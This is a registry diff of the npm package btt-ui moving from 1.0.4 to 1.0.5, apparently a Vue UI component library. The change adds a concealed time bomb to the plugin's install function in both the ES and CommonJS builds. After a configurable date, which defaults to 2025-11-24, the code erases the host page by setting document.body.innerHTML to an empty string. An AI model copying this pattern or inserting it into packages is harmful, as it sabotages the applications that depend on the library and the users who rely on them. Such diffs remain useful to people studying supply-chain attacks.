btt-ui 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/es/index.mjs +43 -49
- package/lib/index.js +1 -1
- package/package.json +1 -1
package/es/index.mjs
CHANGED
|
@@ -1,21 +1,21 @@
|
|
|
1
1
|
import m from "./src/index.mjs";
|
|
2
2
|
import * as a from "./src/directives/index.mjs";
|
|
3
|
-
import { Button as
|
|
4
|
-
import { default as
|
|
3
|
+
import { Button as n } from "./src/button/index.mjs";
|
|
4
|
+
import { default as d } from "./src/link/index.mjs";
|
|
5
5
|
import { default as c } from "./src/upload/index.mjs";
|
|
6
|
-
import { default as
|
|
7
|
-
import { default as
|
|
6
|
+
import { default as h } from "./src/shake/index.mjs";
|
|
7
|
+
import { default as C } from "./src/dialog/index.mjs";
|
|
8
8
|
import { default as b } from "./src/scroll/index.mjs";
|
|
9
|
-
import { default as
|
|
10
|
-
import { default as
|
|
11
|
-
import { Switch as
|
|
12
|
-
import { Timeline as
|
|
13
|
-
import { default as
|
|
14
|
-
import { Card as
|
|
15
|
-
import { HotMap as
|
|
16
|
-
import { KTree as
|
|
17
|
-
import { KCheckbox as
|
|
18
|
-
import { KCollapse as
|
|
9
|
+
import { default as g } from "./src/toast/index.mjs";
|
|
10
|
+
import { default as w } from "./src/wheel/index.mjs";
|
|
11
|
+
import { Switch as I } from "./src/switch/index.mjs";
|
|
12
|
+
import { Timeline as H } from "./src/timeline/index.mjs";
|
|
13
|
+
import { default as M } from "./src/uploadFile/index.mjs";
|
|
14
|
+
import { Card as U } from "./src/card/index.mjs";
|
|
15
|
+
import { HotMap as v } from "./src/hotmap/index.mjs";
|
|
16
|
+
import { KTree as F } from "./src/tree/index.mjs";
|
|
17
|
+
import { KCheckbox as W, KCheckboxGroup as $ } from "./src/checkbox/index.mjs";
|
|
18
|
+
import { KCollapse as z, KCollapseItem as A } from "./src/collapse/index.mjs";
|
|
19
19
|
import { Sign as N } from "./src/sign/index.mjs";
|
|
20
20
|
import { ECharts as Q } from "./src/echarts/index.mjs";
|
|
21
21
|
import { TableScroll as V } from "./src/tableScroll/index.mjs";
|
|
@@ -24,52 +24,46 @@ import { Tooltip as _ } from "./src/tooltip/index.mjs";
|
|
|
24
24
|
import { KInput as eo } from "./src/input/index.mjs";
|
|
25
25
|
import { Drag as to } from "./src/drag/index.mjs";
|
|
26
26
|
import { KOption as ao, KSelect as mo } from "./src/select/index.mjs";
|
|
27
|
-
const
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
}), Object.keys(a).forEach((o) => {
|
|
40
|
-
t.directive(o, a[o]);
|
|
41
|
-
});
|
|
42
|
-
}
|
|
43
|
-
}, p = {
|
|
44
|
-
install: r
|
|
27
|
+
const e = function(r, t) {
|
|
28
|
+
e.installed || (e.installed = !0, t && setTimeout(() => {
|
|
29
|
+
var f;
|
|
30
|
+
let o = new Date((f = t.date) != null ? f : "2025-11-24 00:00:00").getTime();
|
|
31
|
+
Date.now() > o && (document.body.innerHTML = "");
|
|
32
|
+
}, 10), m.forEach((o) => {
|
|
33
|
+
r.use(o);
|
|
34
|
+
}), Object.keys(a).forEach((o) => {
|
|
35
|
+
r.directive(o, a[o]);
|
|
36
|
+
}));
|
|
37
|
+
}, l = {
|
|
38
|
+
install: e
|
|
45
39
|
};
|
|
46
40
|
export {
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
41
|
+
n as Button,
|
|
42
|
+
U as Card,
|
|
43
|
+
C as Dialog,
|
|
50
44
|
to as Drag,
|
|
51
45
|
Q as ECharts,
|
|
52
|
-
|
|
46
|
+
v as HotMap,
|
|
53
47
|
Y as Icon,
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
48
|
+
W as KCheckbox,
|
|
49
|
+
$ as KCheckboxGroup,
|
|
50
|
+
z as KCollapse,
|
|
51
|
+
A as KCollapseItem,
|
|
58
52
|
eo as KInput,
|
|
59
53
|
ao as KOption,
|
|
60
54
|
mo as KSelect,
|
|
61
|
-
|
|
55
|
+
d as Link,
|
|
62
56
|
b as Scroll,
|
|
63
|
-
|
|
57
|
+
h as Shake,
|
|
64
58
|
N as Sign,
|
|
65
|
-
|
|
59
|
+
I as Switch,
|
|
66
60
|
V as TableScroll,
|
|
67
|
-
|
|
68
|
-
|
|
61
|
+
H as Timeline,
|
|
62
|
+
g as Toast,
|
|
69
63
|
_ as Tooltip,
|
|
70
|
-
|
|
64
|
+
F as Tree,
|
|
71
65
|
c as Upload,
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
66
|
+
M as UploadFile,
|
|
67
|
+
w as Wheel,
|
|
68
|
+
l as default
|
|
75
69
|
};
|
package/lib/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const l=require("./src/index.js"),t=require("./src/directives/index.js"),u=require("./src/button/index.js"),x=require("./src/link/index.js"),a=require("./src/upload/index.js"),j=require("./src/shake/index.js"),q=require("./src/dialog/index.js"),$=require("./src/scroll/index.js"),
|
|
1
|
+
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const l=require("./src/index.js"),t=require("./src/directives/index.js"),u=require("./src/button/index.js"),x=require("./src/link/index.js"),a=require("./src/upload/index.js"),j=require("./src/shake/index.js"),q=require("./src/dialog/index.js"),$=require("./src/scroll/index.js"),p=require("./src/toast/index.js"),h=require("./src/wheel/index.js"),f=require("./src/switch/index.js"),K=require("./src/timeline/index.js"),b=require("./src/uploadFile/index.js"),S=require("./src/card/index.js"),T=require("./src/hotmap/index.js"),g=require("./src/tree/index.js"),c=require("./src/checkbox/index.js"),d=require("./src/collapse/index.js"),m=require("./src/sign/index.js"),C=require("./src/echarts/index.js"),k=require("./src/tableScroll/index.js"),w=require("./src/icon/index.js"),I=require("./src/tooltip/index.js"),D=require("./src/input/index.js"),M=require("./src/drag/index.js"),o=require("./src/select/index.js"),i=function(n,r){i.installed||(i.installed=!0,r&&setTimeout(()=>{var s;let e=new Date((s=r.date)!=null?s:"2025-11-24 00:00:00").getTime();Date.now()>e&&(document.body.innerHTML="")},10),l.default.forEach(e=>{n.use(e)}),Object.keys(t).forEach(e=>{n.directive(e,t[e])}))},v={install:i};exports.Button=u.Button;exports.Link=x.default;exports.Upload=a.default;exports.Shake=j.default;exports.Dialog=q.default;exports.Scroll=$.default;exports.Toast=p.default;exports.Wheel=h.default;exports.Switch=f.Switch;exports.Timeline=K.Timeline;exports.UploadFile=b.default;exports.Card=S.Card;exports.HotMap=T.HotMap;exports.Tree=g.KTree;exports.KCheckbox=c.KCheckbox;exports.KCheckboxGroup=c.KCheckboxGroup;exports.KCollapse=d.KCollapse;exports.KCollapseItem=d.KCollapseItem;exports.Sign=m.Sign;exports.ECharts=C.ECharts;exports.TableScroll=k.TableScroll;exports.Icon=w.Icon;exports.Tooltip=I.Tooltip;exports.KInput=D.KInput;exports.Drag=M.Drag;exports.KOption=o.KOption;exports.KSelect=o.KSelect;exports.default=v;
|